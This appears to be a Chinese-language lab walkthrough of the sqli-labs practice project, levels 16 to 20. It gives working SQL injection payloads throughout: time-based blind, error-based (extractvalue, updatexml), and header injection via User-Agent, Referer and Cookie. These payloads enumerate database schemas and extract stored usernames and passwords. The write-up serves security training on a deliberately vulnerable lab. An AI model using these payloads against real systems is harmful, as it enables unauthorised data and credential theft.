一、实操环境
1、操作系统
- VMware虚拟机创建的win10系统
- 内存8GB
- 硬盘255GB
- 处理器AMD Ryzen 9 5900HX
2、操作项目
==sql-lib项目,本篇文章介绍关卡16-20。==
3、工具版本
- phpstudy 8.1.1.3
- php版本 5.4.45nts
- Apache2.4.39
- MySQL5.7.26
- Chrome
4、SQL注入目的
- 判断是否允许注入
- 判断注入点类型
- 判断回显点
- 获取数据库信息
- 获取表信息
- 获取字段信息
二、less16
1、判断注入
输入了admin'、admin"以及加上各种括号都不显示,可能是延迟注入,和15关一样,不一样的是这里为双引号盲注。
2、获取数据库信息
输入admin'' and if(substr((select database()),1,1)='s',sleep(5),1)#==也可以用ascii判断==
3、获取表信息
输入admin'' and if((select count(*)from information_schema.tables where table_schema=database())=4,sleep(5),1)#
三、less17
1、判断注入
这一关就得多试试了,毕竟之前都是在username输入的,但不要忘记password输入框,在尝试过程中,无论username输入什么,回显都不变,那可能是在password存在注入点,尝试在password输入之前的东西,发现报错了,基于报错信息,可以知道是单引号注入,而且是报错注入。
2、获取数据库信息
利用extractvalue()报错注入,可以得到数据库名。
passwd=1' and extractvalue(1,concat('~',(select database()),'~'))#
3、获取表信息
在passwd中,换成1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'))#,就可以得到表名。
4、获取列信息
1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),'~'))#
5、获取用户名密码
passwd=1' and updatexml(1,concat(0x7e,(select password from (select password from security.users limit 0,1)users),0x7e),1)#&submit=Submit
四、less18
1、判断注入
经过测试,登录成功后显示IP地址和浏览器版本信息,登录失败只显示ip地址,而在账户名和密码后加上'#,但都被转义了,所以不能使用sql注入,最后测试发现可以在http头部UA注入。
2、获取数据库信息
抓包发送到重发器,然后修改UA头。
可以看到库名
3、获取表信息
'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) or '1'='1
4、获取列信息
'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) or '1'='1
5、获取字段信息
'or updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),1) or '1'='1
五、less19
1、判断注入
这一关和上一关类似,只是登录成功返回信息不一样,而且这一关是referer注入。
2、获取数据库信息
抓包,发送给重发器。
将referer改为1',extractvalue(1,concat(0x5e,database())))#,获取到数据库名。
3、获取表信息
1',extractvalue(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema = database()))))#
4、获取字段信息
1',extractvalue(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'))))#
5、获取详细信息
1',extractvalue(1,concat(0x5e,(select group_concat(password) from users))))#
六、less20
1、判断注入
这一关是cookie存在注入,同样适用bp抓包。
2、获取数据库信息
这里注意识别一下,我这边是第二个数据包。更改cookie为uname=-admin' union select 1,2,database()--+
3、获取表信息
更改uname=Dumb' and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x5e),1) #
4、获取字段名
更改uname=Dumb' and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x5e),1) #
5、获取字段值
uname=Dumb' and updatexml(1,concat(0x5e,(select username from users limit 0,1),0x5e),1) #
七、总结与小记
本篇文章是sql-lib的16关到20关,有什么问题请留言,万分感谢。